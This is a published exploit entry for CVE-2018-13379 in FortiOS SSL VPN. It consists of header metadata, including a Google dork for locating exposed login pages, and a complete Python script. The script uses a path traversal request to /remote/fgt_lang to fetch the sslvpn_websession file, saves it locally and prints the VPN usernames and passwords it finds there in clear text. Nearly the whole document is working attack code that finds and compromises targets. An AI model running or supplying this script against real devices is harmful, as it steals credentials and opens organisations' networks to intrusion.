FortiOS 5.6.3 - 5.6.7 FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure

# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)